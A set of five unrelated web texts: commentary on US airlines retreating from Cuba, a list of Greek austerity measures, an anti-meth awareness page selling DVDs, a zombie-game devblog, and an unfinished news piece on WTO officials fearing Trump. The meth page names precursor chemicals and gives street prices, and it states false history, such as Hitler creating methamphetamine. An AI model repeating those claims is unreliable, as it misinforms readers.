purposely has been retarded by its dictatorial regime for more than 50 years cannot be expected to create very quickly, or maintain the kind of high-dollar, high-quality infrastructure necessary to support even a modest tourist industry.  And now, in the wake of President Trump’s reversal of the market-opening policies of President Obama that infrastructure development almost certainly will be further delayed. Indeed, that’s the point of Trump’s policy, which prohibits Americans from transacting business with government-owned entities in Cuba. Nearly all of Cuba’s hotels are operated by foreign companies under contract, but they’re owned almost exclusively by the Cuban military. So are most tourist-type restaurants. Even the properly licensed cabbies, driving their famous 1950s-era American classic cars, are, for the most part, off-limits to Americans in Cuba because most of the money from their fares goes to government entities.  So it’s no surprise that U.S. airlines are now stumbling over one another to get out of Cuba. U.S.-Cuba air capacity this fall will be down at least 20% from what it was at the start of 2017. And nearly all service to Cuban destinations other than the capitol city, Havana, either already has been discontinued or soon will be. On paper several carriers are requesting more service rights to fly to Havana. But, again, those requests, which aren’t being pursued with any real fervency, are being made not because the carriers think they can make money flying to Havana today (or any time soon), but to lay claim to assets (route rights) that are limited and which eventually might be worth something.  What may come as a surprise to Americans, however, is that the U.S. carriers began their retreat from Cuba well before President Trump announced his policy change. Heck, it began before he even took office. It was obvious very early on after U.S.-Cuba flying began that the passenger traffic numbers were horrendously low.  Break-even load factor – the percentage of seats an airline needs to fil to cover direct operating costs – used to be a really important number in the airline industry, back in the days when they were losing billions annually and struggling to fill seats. These days, with load factors running at 85% or higher and carriers reporting the first string of double-digit annual profit margins in their histories, most carriers don’t even bother to include their breakeven load factor numbers in their quarterly or annual public reports. But it’s generally understood that on most routes each of their flights needs to fill around 65% of their seats to fully cover its operating costs.  Given that assumption, the representative load factor data by U.S.-Cuba route (from January of this year) below explains why so many carriers are backing out of that market partially or entirely:  Delta – from Atlanta – 53.2%  American – from Charlotte – 49.1%  United – from Newark – 64.5%  JetBlue – from New York (Kennedy) – 58.3%  Delta – from New York (Kennedy) – 50.8%  Jet Blue – from Orlando – 56.1%  Jet Blue – from Fort Lauderdale – 63.2%  Spirit – from Fort Lauderdale – 43.2%  Only routes from Miami and Tampa – and one of three from Fort Lauderdale - operate above the assumed 65% breakeven load factor:  American – from Miami – 79.7%  Delta – from Miami – 71.8%  Southwest – from Fort Lauderdale – 70.5%  Frontier – from Miami – 67%  Admittedly, these weak performance numbers came early on in the lifecycle of U.S.-Cuba air service. And new routes often take time to develop before reaching profitability. But that development has not yet begun. Nor is it likely to any time soon. That’s why carriers are dropping lots of flights and discontinuing service altogether in some cases.  Tiny Silver Airways, flying turboprop planes from Fort Lauderdale to eight secondary cities in Cuba, cancelled all of those flights in April.  Spirit canceled service on its Fort Lauderdale-Havana route at the end of May, only six months after launching it.  Frontier a week later gave up its Miami-Havana flying.  American began cutting back service to secondary Cuban cities last November.  JetBlue switched from 200-seat Airbus A321s to 162-seat A320s on its Fort-Lauderdale-Havana routes and from A320s to 100-seat Embraer 190s on its Orlando-Havana flights. That move instantly improved its actual load factor performance but likely raised its breakeven load factor percentage point well into the 70s.  Just last week Southwest announced that it will drop two of its three routes to Cuba on Sept. 4.  The company issued a statement saying the decision came “after an in-depth analysis of our performance over several months which confirmed that there is not a clear path to sustainability serving these markets, particularly with the continuing prohibition in U.S. law on tourism to Cuba for American citizens.”  None of this should have come as a surprise to folks in the airline industry, though it appears, in some cases that it did. Nearly two years ago, in August 2018, writing in this space, I quoted outspoken industry analyst (and fellow FORBES.com contributor) Michael Boyd saying that there were greater profit opportunities for U.S. airlines in serving Golden Triangle Airport than in service Cuba.  “Never heard of it?,” I wrote then. “That’s understandable. It’s in eastern Mississippi, about half-way between Columbus (2012 estimated population about 23,500, down 2,500 from the 2000 census) and Starkville (2010 census population 23,888 not counting dorm-dwelling students at Mississippi State University). West Point (2010 census population 11,307) is the third “city” in the triangle referenced in the name of the airport, which boasts one 8,000-foot asphalt runway, free wi-fi, short security lines, close-in parking, 150 seats in the terminal plus modern restrooms and vending machines.”  Boyd noted that a vibrant and expanding manufacturing industry with strong international ties in eastern Mississippi created “much stronger airline revenue opportunities” there than existed in all of Cuba.  That’s still the case today, and likely will be the case for many, many years to come.  President Trump’s new policy for trading with and traveling to and from Cuba is intended to speed up Cuba’s economic and tourism development by forcing the government to privatize its holdings in the tourism and other industries. The hope is that by removing the financial incentive for those government entities to retain their control over those key economic sectors the Cuban people, likely with financial backing from foreign investors, will take control of those sectors and begin developing a capitalistic system once again on the island. But who knows how long it will take for that happen, if it happens at all?  So, it’s probably not fair to say that the President killed the development of the U.S.-Cuba travel market. It was, at best, only a zombie market. But it’s far from clear when, if ever, that zombie of a market will come to life.
-Image caption The measures have been unpopular across a broad section of the Greek population  The Greek parliament is preparing to vote on further austerity measures to try to meet its terms for another payment under the bail-out from the European Union and the International Monetary Fund.  The five-year plan was changed to allow for more money to be raised through tax increases and less money to be saved through spending cuts.  The plan involves cutting 14.32bn euros ($20.50bn; £12.82bn) of public spending, while raising 14.09bn euros in taxes over five years.  These are some of the austerity measures planned.  TAXATION  Taxes will increase by 2.32bn euros this year, with additional taxes of 3.38bn euros in 2012, 152m euros in 2013 and 699m euros in 2014.  A solidarity levy of between 1% and 5% of income will be levied on households. It will be raised twice next year.  The tax-free threshold for income tax will be lowered from 12,000 euros to 5000 euros, rather than the original plan of 8,000 euros.  There will be higher property taxes.  VAT rates are to rise: the 19% rate will increase to 23%, 11% becomes 13%, and 5.5% will increase to 6.5%.  The VAT rate for restaurants and bars will rise to 23% from 13%.  Luxury levies will be introduced on yachts, pools and cars.  Some tax exemptions will be scrapped.  Excise taxes on fuel, cigarettes and alcohol will rise by one third.  Special levies on profitable firms, high-value properties and people with high incomes will be introduced.  PUBLIC SECTOR CUTS  The public sector wage bill will be cut steadily to shrink it by more than 2bn euros by 2015.  Nominal public sector wages will be cut by 20%.  Wages of employees of state-owned enterprises will be cut by 30% and there will be a cap on wages and bonuses.  The number of civil servants to be suspended on partial pay will rise to 30,000 by the end of this year, from 20,000 planned initially. They will receive 60% of pay for one year, having been promised a job for life.  All temporary contracts for public sector workers will be terminated.  Only one in 10 civil servants retiring this year will be replaced and only one in 5 in coming years.  SPENDING CUTS  Defence spending will be cut by 200m euros in 2012, and by 333m euros each year from 2013 to 2015.  Health spending will be cut by 310m euros this year and a further 1.81bn euros in 2012-2015, mainly by lowering regulated prices for drugs.  Public investment will be cut by 850m euros this year.  Subsidies for local government will be reduced.  Education spending will be cut by closing or merging 1,976 schools.  CUTTING BENEFITS  Social security will be cut by 1.09bn euros this year, 1.28bn euros in 2012, 1.03bn euros in 2013, 1.01bn euros in 2014 and 700m euros in 2015.  There will be more means-testing and some benefits will be cut.  Monthly pensions above 1,000 euros to be cut by 20%  Existing retirees aged under 55 to lose 40% of any pensions over 1,000 euros.  The government hopes to collect more social security contributions by cracking down on evasion and undeclared work.  The statutory retirement age will be raised to 65, 40 years of work will be needed for a full pension and benefits will be linked more closely to lifetime contributions.  PRIVATISATION  The government aims to raise 50bn euros from privatisations by 2015, including:  Selling stakes this year in the betting monopoly OPAP, the lender Hellenic Postbank, port operators Piraeus Port and Thessaloniki Port as well as Thessaloniki Water.  It has agreed to sell 10% of Hellenic Telecom to Deutsche Telekom for about 400m euros.  Next year, the government plans to sell stakes in Athens Water, refiner Hellenic Petroleum, electricity utility PPC, lender ATEbank as well as ports, airports, motorway concessions, state land and mining rights.  It plans further sales to raise 7bn euros in 2013, 13bn euros in 2014 and 15bn euros in 2015.  LABOUR MARKET REFORM  The law will make it easier for companies to cut their payroll costs. It will do this by suspending industry-wide wage bargaining.  Sources: Reuters, Greek Ministry of Finance Economic Policy Programme Newsletter
-Cyrstal Meth Addiction  Crystal meth addiction is out of control in America. The State of California is leading the way with the city of Riverside being the Crystal meth capital of the world. The epidemic is so bad, the U.S. Department of Justice recently claimed Meth has surpassed Cocaine as the new "drug of choice" by our youth.  The Associated Press quoted the White House National Drug Policy Director as saying, "Methamphetamine, also known as speed, is the worst drug menace facing the United States and is a growing threat in Asia."  The target for this growing threat are the youth in our society ravaged by broken homes, neglect and little parental influence. Physically and emotionally vulnerable to their environment, they adopt the look and values of the people they love and esteem. When these people are drugged out musicians, Hollywood actors, or Vogue models rather than members of their family who can return that love, it's easy to see the potential for a downward spiral. Social influences like family and close friends, once the center of our society, do not stand against the pervasive power of the media, which collectively impacts young lives by glamorizing destructive attitudes and actions.  In recent times, those in the spotlight, including the mainstream news personalities, have chosen to mock family values, and reject forms of authority which at one time were greatly respected role models, which once included father figures, school teachers and police officers, have been replaced by cynical, sarcastic media personas who promote a "feel good" philosophy.  Many young people who may be too immature to recognize the long term repercussions of this approach to life, are easily influenced and swayed into this lifestyle until it destroys them. Research has proven that youth who grow into maturity without using illegal drugs, alcohol or tobacco are likely to remain drug free the rest of their lives. Our main objective at EscapeMeth.com is to educate youth, parents, school and law enforcement officials about the ever increasing use of Methamphetamine (speed), and the life threatening damage to all who come in contact with it.  TWO NEW FILMS NOW AVAILABLE ON DVD  Our main objective is clearly demonstrated in our two-part film project: "Tweaked" and "Tweaked: A Generation in Overdrive", which present a warning of the real dangers associated with Meth abuse growing in America. The first film, "Tweaked", presents the problem with little hope or solution. Running 20 minutes, the length and graphic content send a devastating wakeup call to any addict or potential user that SPEED KILLS. Designed for use in the classroom or counseling session, it will, without a doubt, stir the viewer toward a more realistic viewpoint of the drug and it's potential danger.  "Tweaked: A Generation in Overdrive" is a 50 minute film with the same message as "Tweaked" plus the intimate details of a family who struggled through crystal meth addiction to recovery. This longer, more detailed version, is informative and should be viewed by youth, parents and community leaders in order to fully understand the problem and see the potential for escape.  A WARNING  These two films contain hard to watch images of graphic violence and abuse caused by those addicted to Crystal Meth. (Click Here) for more details on how you can obtain your own copies.  THE TRUTH ABOUT METHAMPHETAMINE:  As society expands, so do the needs of those living within society. Everything is new. Advances in technology are made daily. Fashion is as mutable as the weather. New and old conspiracies hit the newspaper headlines without ceasing. One cannot help feeling at a loss living under such demands to keep up. Searching for ever elusive identity and security in the midst of an upbeat nation seems to deepen the void within. Almost everyone longs for comfort and escape. These needs are often pacified through outlets like exercise, work, eating and gambling, to name a few. Unfortunately, many people fall face-first into a drug lifestyle. It always seems like the right answer...until people find themselves fixed, unable to escape from the bondage they have created. Inevitably, they are back where they started, drowning in self-condemnation and despair.  NICKNAMES FOR METH  The increasingly popular trend in drug use is methamphetamine, also known as speed, crank, ice, glass, crystal meth, sketch, go, junk, wake up, zoom, crystal, cridium, stuff, tweak, dope, and lines. It can be snorted, smoked, injected and eaten, making it a versatile drug to administer. Crystal Meth is typically sold in 1/4 gram ($20-25), one gram ($50-75), and 1/8 ounce ($140-180). It is cheaper and more accessible than cocaine and appears not to have the same stigma associated with it. Police say $100 can buy a cocaine user a twenty-minute high; the same amount can keep a meth user buzzed for a day or two.  INCREASED POPULARITY  Crystal meth now rivals cocaine as the drug of choice in many parts of the United States. Unlike cocaine, meth does not need to be smuggled into the United States. It costs less with similar effects and it can be made in people's homes. The Federal Government recently reported, "While cocaine use continues to slow, meth has taken its place as the most widely abused drug in the United States." At the same time, the U.S. Department of Justice has named meth the "drug of choice" among youth.  THE EFFECT  Methamphetamine, or Phenyl Isopropyl Methyline, is a classified stimulant. Stimulants, by definition, are chemical compounds that accelerate activity within the central nervous system. Stimulants appear naturally in animals and in humans in the form of adrenaline and epinephrine. Much like natural stimulants, man made ones stimulate the body's ability to perform physical activity under situations of stress.  At low doses the drug can block hunger, focus attention, steady the hear and boost endurance. At high doses the drug briefly makes the body feel good, but kills the brain in the process. Meth sends a message to the brain cells to fire more dopamine, a feel-good chemical that is also critical to normal brain functioning. Hours after it is ingested, cell receptors begin to turn off to slow the flow of dopamine, and this is where meth differs from other stimulants, such as cocaine. While other stimulants allow brain cells to capture and repackage dopamine, meth does not. The brain cells respond by releasing an enzyme to knock out the extra dopamine. With repeated use, the enzymes eventually kill the dopamine cell, which leads to a chemical change in the way the brain works.  The physical effects of meth use include diarrhea, palpitations, dizziness, jaw clenching and facial ticks. Chronic use leads to sever weight loss and exhaustion, tremors, ataxia, disturbances of the cardiac rhythm, pain in the muscles and joints, and reduced resistance to infections. Meth decreases the appetite, blood flow, and saliva. It increases the heart rate to the extent that sudden heart failure can occur under strain. The rise of blood pressure and sugar levels and the vasoconstriction of peripheral blood vessels occurs. Other consequences include bronchial dilation, dilation of the blood vessels to the skeletal muscles, dilation of pupils and the emptying of the bladder and intestine. The most important central effects are an increase in alertness, sensitivity to stimuli, and self-awareness. Apart from the nervous system, meth damages multiple other organ systems including the heart, lungs, kidneys and liver.  Meth abusers who overdose do not have any warning signs. Without these signs, death can be unexpected and very sudden. The heart rate will rapidly increase and the abuser will collapse and suffer a fatal heart attack or stroke. Medical professionals treating drug abusers maintain that heroin addicts can frequently live longer lives, whereas meth abuses often do not.  THE GROWING PROBLEM  Recent data from the Drug Abuse Warning Network records 487,600 drug-related emergency department episodes and climbing. The increment is due to an expansion of operating meth labs throughout the country. Meth-related hospital admissions increased more than 366% during the last ten years in California alone.  Users who have witnessed a change in habitual use report the shift to aggressive or non- affectionate behavior. Abusers become nervous and agitated, a condition described as "tweaking" that makes them prone to violence. During the National Methamphetamine Conference in May, the President stated, "Substance abuse continues to plague our nation, Methamphetamine is now threatening to overtake crack cocaine as the most virulent illegal substance linked to violent behavior. It is leaving a trail of crime and death in its wake. Chemically and physiologically volatile, methamphetamine ravages the lives of its users..."  INCREASE IN VIOLENCE  SPIN Magazine, describes methamphetamine as a "synthetic drug that produces a synthetic rage and the kind of grisly crimes that Hard Copy's dreams are made of: limb-snapping, organ-grinding freak-outs, a steady diet of hostage-taking, and mini-mart stickups super-sized into murder. These days, there are West Coast countries where eighty percent of the domestic violence is reported as tweaker-fueled."  Rolling Stone, reiterates by stating, "Where meth thrives, so does David Lynchian violence. After zooming, levels of dopamine and serotonin, two of the brain's regulators, plummet; paranoia takes over, and shadow people appear. A lurid meth-related murder happens somewhere around the country every few months."  A speed freak in New Mexico cut off his 14 year-old son's head and tossed it out the window of his van.  Chronic use can lead to acute psychosis with auditory hallucinations and extreme paranoia. Unlike cocaine psychosis, it does not pass away rapidly, but can last for weeks. Methamphetamine psychosis is inevitable with high doses. Behavior fixation, compulsiveness, and the sensation of "bugs" crawling are merely a few symptoms. Doctors are not sure why one- third of heavy users will develop bizarre, paranoid behavior and suffer hallucinations and voices in the mind that are "as real as real gets." It can lead to paranoid psychosis. The resultant psychotic reaction is indistinguishable from schizophrenia except on some subtle dimensions.  Meth users experience severe disturbances of mood and thought that may be sustained well beyond the binge. The disturbance often persists for days, sometimes weeks. Similarly, the meth crash is more prolonged, and the drug-related depression that users may undergo upon awakening can be more severe than anything familiar to cocaine users. Massive, frequent doses create a two to five day run resulting in a crash that is approximately 24 hours and can last for days.  THE ESCAPE ROUTE IS FILLED WITH POT HOLES  According to several studies, criterion for addiction includes: unsuccessful attempts to quit, persistent desire and craving, continued use despite knowledge of harm to oneself and others, and taking the drug to avoid or relieve withdrawal. Withdrawal symptoms after chronic use include the need to catch up on lost sleep. Genuine physical dependence does not occur, but repeated continuous use results in extreme exhaustion and depression, which can be self-awareness and confidence during use result in a loss of self-criticism, which in some cases can lead to psychological dependence. An abuser can build up a high tolerance with increased dependence, leading to an increase in dosage.  Methamphetamine is a drug with high burnout potential. Treatment providers in all states report users enter treatment more rapidly with addiction to meth than with either heroin or cocaine. Individuals who seek treatment have a rough time kicking the drug, and can still suffer from psychosis for up to a half-year. Cravings, irritability, nightmares and depression are common for months after someone quits. The Los Angeles Times Associated Press reported, "Soon-to-be-published medical studies state that brain scans of lab animals show that the effects of meth last two years after abuse of the drug stops." The cravings eventually wane, but sometimes the irreparable damage will not show for years.  TREATMENT REALITY  In many communities, the demand for meth rehab far exceeds treatment capacity. In urban centers, such as Lost Angeles County, large numbers of hard-core addicts never make it into a program because the wait can take up to six months. In California, as many as 8,000 addicts are on waiting lists for a chance at one of 54,000 publicly funded treatment slots--nearly half of which are in Los Angeles County. Studies show that an untreated addict can cost taxpayers as much as $90,000 a year in welfare., medical care, law enforcement and losses resulting in crime, eclipsing the $21,000 annual cost for long-term residential treatment. Addicts who do not receive necessary rehabilitation usually continue using or promote themselves to selling or manufacturing drugs.  THE INGREDIENTS  Methamphetamine is both domestically produced and imported into the United States in an already processed form. For the local producers the processing required to make meth from the precursor substances is not only easier than it once was, but also more accessible. There is no specific recipe for making it. Methamphetamine is not derived from a plant, only chemicals. No smuggling or foreign connection is required. Meth is completely homemade; most of the chemicals required to manufacture meth are readily obtainable from hardware or drugstores. Meth normally contains ephedrine or pseudo-ephedrine, which is found in over-the-counter cold medications. Depending on the recipe, other ingredients used in the cooking are that of the skull-and-cross bone labels: lye, rat poison, battery acid, and various chemicals such as acetone and gasoline.  Anyone with a rudimentary knowledge of chemistry can cook meth in a garage in two to four hours. The drug can be made with a skillet and stove, in a bathtub, or even in a car trunk with a plastic drinking cup. Once the chemicals are obtained, meth can be produced anywhere the manufacturer, or "cook", cares to work.  Illicit drugs are manufactured under crude and hazardous conditions, using inadequate or makeshift equipment by persons with little or no chemistry background. The chemicals utilized by clandestine lab "cooks" can fit into a suitcase and are therefore easily transported from location to location. Meth is produced in what are referred to as clandestine laboratories. These "Clan Labs" generally contain an assorted variety of hazardous and volatile chemicals. These chemicals create a major health and environmental problem as they are discarded illegally by the cooks who manufacture methamphetamine. The chemicals are dumped into old wells, waterways, ponds, lakes, public sewer systems, and onto the ground.  Meth labs are frequently located in public locations such as residences, hotels, motels, and storage facilities. The proximity of the labs to residential areas makes the general population extremely vulnerable to the hazardous conditions associated with their operation. Clandestine labs present numerous hazards to people and the environment. There is extreme potential for fires, and exposure to hazardous chemicals and fumes. The manufacture of meth is particularly dangerous because the manufacturing process poses the risk of explosion, and the potential of highly toxic chemicals injuring or killing innocent parties. There is also a great risk of cancer due to the carcinogenic effect of the chemicals used or produced in the manufacturing of meth.  Usually by the time police find a lab, there is nothing left but a cancerous bog. At some site, the chemicals in the soil cause the earth to spontaneously ignite. California's "cooks" empty their kettles in the dirt so that the cost of mopping up doubles yearly. It reached close to $7 million last year, second in the state only to oil spills.  Small meth labs, using glass beakers and countertop burners, can be set up and taken down in hours and are notoriously hard to detect. Steve Davis, Bonneville County Sheriff's narcotics investigator says "As bad as cocaine was, meth is worse. Cocaine, you can take out the suppliers and dry up the town...Meth is a lot harder to control."  THE PROFIT MOTIVE  Long a problem in the west and southwest, especially in California, where last year over 1,000 meth labs were seized, the drug has spread to the heartland partly because it is so easy to make and partly because of the money that can be made. "Police say a $1,000 investment can reap a $20,000 profit in less than four hours of work," reports The Los Angeles Times. The Drug Enforcement Administration shuts down an equal amount each year in the United States.  IT'S ORIGIN  Although it is a new trend, meth is not an original drug for the new millennium. According to National Trends in Drug Abuse, early in the 1900's, its parent drug, amphetamine, also known as Benzedrine, was used in nasal decongestants and bronchial inhalers and in treatment of depression. narcolepsy, schizophrenia, alcoholism and obesity. In the 1940's, Adolph Hitler took Benzedrine and mixed it with various chemicals to create Methamphetamine. This gave his army the ability to fight for days without food or sleep. Around the same time, Japanese Kamikaze pilots took Methamphetamine to numb fears prior to diving their planes into American ships. In the 60's, as drug use became culturally acceptable, Methamphetamine became widely available through prescriptions and a booming black market. Methamphetamine use waned during the 70's as many overdosed and died. But, in the 80's, Methamphetamine re-appeared and seemed to be spreading like wildfire through the country, being used very casually by many to heighten energy and lose weight quickly. Because meth of today is more pure and potent than it ever was in the past, the drug is even more dangerous and fatal.  NEW CONSUMER BASE  Once stereotyped as a "biker drug," meth has a broad new consumer base. It is commonly used by the gay community, blue collar workers, young professionals, college students, mostly white males, the Hispanic population, high school students as y9oung as ninth grade, people in their early thirties, rural bikers, street youth, a growing number of Native Americans, service workers, farm and oil workers, employed and unemployed people in their twenties, Asians, both men and women, and cocaine users who can no longer afford cocaine. All types of people use meth. There are no boundaries. It includes all classes and all professions. Anybody and everybody...Meth is not a respecter of persons.  THE EFFECT ON INFANTS  Methamphetamine also produces high-strung children similar in many ways to crack babies. There are two possible mechanisms by which meth may complicate pregnancy. The first if vascular, which leads to reduced blood flow to the fetus. The second is a direct toxic effect on the developing fetal brain. The impact of reduced blood flow in a developing fetus can be manifested by significant limb reduction deformities. The tendency to sleep nearly all the time exists during the first month of life. Babies sleep so deeply that the jaws must be pried open to get the baby to suck. Meth babies also exhibit a pronounced aversion to being touched on the head or feet. Jannie M. Sims, child psychologist states, "You think of a cocaine baby as the worst that it could be." She paused then added simply, "They're not."  Methamphetamine is predicted to alter child development more than cocaine. Unlike coke, meth is toxic to the brain cells because it sharply reduces levels of the neuro-transmitters dopamine and serotonin, which regulate motor skills and moods such as behavior control, anger, and attention deficit. United States Department of Health and Human Services reports that by age seven, children begin to have higher levels of aggressive behavior, more problems with adjusting to environments, and higher rates of school failure.  "Overall, National drug abuse continues to decline but, as other reports have found in recent years, it is on the rise among those under twenty years of age. Methamphetamine users in California tend to be either high school and college students or twenty-something's of any economic status," declares The National Drug Control Strategy. Recently, in Irvine, California, a sixteen-year-old was arrested for cooking up meth using a step-by-step recipe taken off the Internet. "One treatment program in Northern California reported fifty percent of the adolescent clients enter with meth as their primary drug of abuse and eighty percent report that they use if regularly," says Pulse Check, National Trends in Drug Abuse.  The survey conducted by The National Center on Addiction and Substance Abuse at Columbia University found that substance abuse trends among high school and college students are rooted in behavior beginning in middle school. Researchers also found that preteens are smoking cigarettes, drinking alcohol and smoking marijuana at earlier ages and that adolescents who abuse these "gateway drugs" run a higher risk of abusing harder drugs in the future. The statistical correlation between tobacco and drug abuse is high. Youths aged twelve to seventeen who smoke are eight times more likely to use illicit drugs than a non-smoking youth.  A report by The Indiana Prevention Resource Center at Indiana University revealed that Ritalin (methylphenidate), often used to treat hyperactivity in children, is often abused an can be another "gateway drug" if not taken properly or as needed. "Producing cocaine-like stimulant effects, snorted or injected Ritalin is just the latest trend in a resurgence in abuse of stimulant drugs that recalls the 'Speed Freak' era of the late 1960's." Often prescribed by "interview" versus physical testing, Ritalin is regularly over-prescribed, and contributes to many youth being exposed and addicted to this "speed" like substance at an early age. When not taken with caution and care, this popular drug prepares many for future methamphetamine use.  A MESSAGE FROM THE WHITE HOUSE  According to the Director of White House Drug Control Policy, Substance abuse among young people has grown during the past five years. Pro-drug messages are communicated to children through the most sophisticated, multimedia techniques while anti-drug forces typically fight back with bumper stickers: that is, with one-dimensional approaches. Material legitimizing drugs can be found in music, film, television, the Internet, and mass market outlets."  The media also makes a profound impact on women, influencing them to use drugs. Because meth imitates the effects of adrenaline, it produces the side effect of appetite suppression. This is very attractive to young women who want to be as thin as the models and actresses they see on television, in the movies, and on magazine covers.  Research from The National Household Survey on Drug Abuse indicates that forty-nine percent methamphetamine users are now listed as women, the majority are between ages twenty and thirty-nine. About seventy percent of women who report using drugs also reported having been sexually abused before the age of sixteen. More than eighty percent had at least one parent addicted to alcohol or one or more illicit drug.  "Trends in drugs, like those in music or politics, often hatch in California and then spread to the rest of the country. Meth is no different. The west's little problem is moving eastward. In December, the Feds arrested 100 suspects in an operation that spanned the nation. They seized 133 pounds of meth and $2 million, and followed the product clear down the I-40 to the virginal nostrils of North Carolina," says SPIN Magazine., "Its tentacles reach from backwoods barns in southeast Missouri's boot-heel to desolate Indian reservations in North Dakota and South Dakota to Nebraska and Iowa." According to a speed user quoted in the same article, "I've met lots of people from Nevada. I've met a lot of Mormon white kids from Utah. They love their crank. I know people who are taking it everywhere...Tennessee, New York, Kentucky, Georgia. It hasn't ever begun to peak yet."  THE DEVASTATING EFFECTS ON SOCIETY  The popularity of methamphetamine is directly altering society. A number of violent crimes can be traced directly to meth users. Clandestine laboratories contribute to health and environmental problems. The average age of drug users is continuing to decline. Addicts are left financially, spiritually, and emotionally empty because of meth. Everyone reaps the consequences. Society no longer has the control...Methamphetamine does.  A FINAL NOTE:  "The Truth About Methamphetamine" was originally written by a bright, well educated 19-year-old female during the time she was trying to kick the meth habit. Shortly after finishing this article, she ran off to live with her addicted boyfriend on the streets and once again began using methamphetamine. She was eventually arrested on felony counts for possession and dealing in methamphetamine, was jailed and her bail was set at $20,000.  For more information about Methamphetamine, check out our Meth Links page.
-February 22  Window Improvements (Coming in 0.10.xx)  Kitchen Improvements (Coming in Future Updates)  Introduction of Scrap Metal and Metal Canteens  Game Achievement Rework (coming in 0.10.xx+)  Backend Workflow  Next Week's Devblog (Staring Camps | Vehicle Development)  Links  Hello all,Thanks for checking out our 15th devblog! Progress is moving along nicely on 0.10.xx. We've had some feedback and the issues found are being worked on. If you're testing 0.9.22, please share any issues you find on our tracker or come share on our Discord. Below we'll discuss a few upcoming features and exactly what the team has been working on.As we discussed a bit last week, we're having a revamp on all the current structure windows. The system in place is universal which allows us to create a prefab that we can constantly update and all in game structures are affected. Our windows have always lacked any depth beyond being able to fortify them. As with most of our features, they've been in place as a base for some time but are now getting some attention and improvements.Previously, windows had no glass, no inner structure and were just an open framed hole in the wall. We've added glass and wood cross panels.This adds a great deal of depth to a structure. It also creates an additional barrier and block for the player. Players could previously make a quick escape by jumping through an open window. Now players and zombies alike will need to deal with the glass and framework.Our current kitchens are a bit static and they're also rather massive in scale. They're original models from a way's back. The team and community felt the need for an upgrade. @Rik Konings has been hard at work re-working all of our kitchen models. We'll be introducing these in coming updates with continued design work. These kitchen cabinets and appliances/fixtures will be animated. The player will see doors open or animate slightly to add a bit of life to the world.We'll soon be introducing scrap metal piles, a plan we've had from the concept. You'll see them all around the world but mostly at starting camps (also being introduced shortly). These piles will allow the player to scavenge them for chance to pick up some scrap metal. These metal scraps will be used to create a wide variety of starting items in game including axe heads, hammer heads, machetes and the newly introduced canteen.We're reworking and properly introducing our achievement system. There's a core system in place now but it needed to be shored up and Jayty has that sorted now. You'll be seeing working achievements in upcoming builds. Our new media/design intern Ids has also begun reworking our actual achievement artwork below you can see some of his concepts and our current direction with them.Jiras workflow allows us to break what needs to be done up into bit sized pieces. Large tasks are called epics and the team will set out a large set of these to work off. Each epic may have numerous issues within. Cooking Improvements, for example, would be an epic, inside of which could be numerous ‘issues’ - Import New Cooking Grill, Create Tinder from Cloth Recipe and so on. These issues are grouped together and placed into what Jira calls a sprint. The team creates these sprints based on how many points (these points basically set a difficulty level) they feel each task or issue within will take them to resolve or develop. We typically create two week long sprints. Two of them per update with a week or two to allow for revisement.Yesterday the team finished up the 'Final Fantasy' sprint and begun work on the 'Goldeneye' sprint. Below you can see exactly what went into the coming update's first sprint, Final FantasyWe'll go over how the current sprint is going, talk a little about starting camps and discuss vehicles! Believe it or not the core of the reworked backbone for vehicles will be going in very soon (some already have). The team is reworking all things vehicles and we're very excited to get the ball rolling. Here's what we're currently poking around in, for testing purposes of course! ;)Thanks much for checking on our development of Survive the Nights and, as always, thank you for the continued support. The project has come a long way and we're excited for the coming months leading up to our public alpha release!Discord: https://discord.gg/survivethenights Forum: https://community.survivethenights.net Twitter: https://twitter.com/STNgame Facebook: https://www.facebook.com/STNgame YouTube: https://www.youtube.com/a2zinteractive Website: https://www.survivethenights.net
-GENEVA — Donald Trump has officials in this world capital of trade running scared.  Faced with the prospect of a U.S. president who pledges to rip up trade agreements, slap tariffs on allies and pull out of the World Trade Organization, top trade officials are in various states of denial and dread.  Story Continued Below  Some attending a WTO meeting this week consoled themselves the populist billionaire couldn’t really win the election — “though after Brexit, nothing can be ruled out,” warned Jonathan Peel, a member of the European Economic and Social Committee.  Others say they doubt Trump "really means what he says” about trade agreements, as one high-ranking official here put it.  A few cling to the hope that even if he were elected and tried to deliver on his pledges, he would be stymied by Congress, the courts or other impediments. “Policy has to be built on reality, and if you are elected, you cannot disregard reality — not even Trump,” said another official.  These are confounding times for global trade officials who have spent their careers promoting the gospel of open markets as the path to prosperity and peace, and who regard recent developments in the U.S. with “a mix of amazement and consternation,” as one official put it.  In the short term, many fear Trump’s election would mean the U.S. would step back from its leadership role in the WTO, which would undermine the group’s clout, whether negotiating new agreements, resolving disputes or enforcing participants' adherence to existing pacts.  But more broadly, Trump’s slashing anti-trade rhetoric as well as Hillary Clinton’s opposition to the pending Trans-Pacific Partnership — following on the heels of the United Kingdom’s vote to leave the European Union — are such significant rebukes they are causing many officials to re-examine some of their most cherished assumptions.  “What is of concern is that those words are finding echo in the population,” said WTO Director-General Roberto Azevedo, referring to the campaign rhetoric of both Trump and Clinton.  “We cannot turn a blind eye to that and assume that everything is OK once the campaign is over,” said Azevedo, a Brazilian who has led the global trading body since 2013. “That’s one problem that we have today: Those voices have been there for a while, and nobody ever took the time to really understand it and find a solution for that problem.”  Most of the Geneva-based officials interviewed for this story declined to talk on the record, saying it was inappropriate to comment on U.S. domestic politics and noting they may have to work with President Trump in the not-so-distant future. One exception was Russian Ambassador to the WTO Gennady Ovechko, who asserted the “Russian Federation never intervenes in domestic affairs of foreign states” and that he would work with whatever administration the American people elect.  But all said they have been paying close attention as the raucous presidential campaign pulled trade policy from a wonky side topic to one of the most hotly debated electoral issues.  Trump’s anti-trade rhetoric is not unheard of in Europe, where nationalist parties in Britain, Denmark, the Netherlands, Greece and France espouse similar themes. Many officials here trace such sentiments to the continued effects of the 2008-2009 financial crisis and the “sense that trade did not deliver all of its promises,” as one put it.  Yet they still fully believe that international trade is a net positive for individual countries, and that closing borders would be a way of “shooting yourself in the foot,” even while they acknowledge that some people have been hurt by trade, and their plight ignored by their governments.  “The fact that trade has a net positive effect in the economy is no consolation for the guy who lost his job due to cheaper imports,” Azevedo said. “That’s something that governments need to be mindful of. They have to prepare those people for new opportunities, new jobs, retrain them, which is not easy — easier said than done. And in many instances you have to provide … temporary support to help them to wait and get another job … which will probably be not as well paid as the previous job. It's a complex equation."  The focus on job losses is much more an American than a European issue, several officials said. The overriding argument against trade in Europe is that it pushes down labor and environmental standards.  “But that is a different story from Donald Trump,” one official said. “I’m not certain that Donald Trump is extremely interested in any environmental standards.”  Many international trade officials say they are also 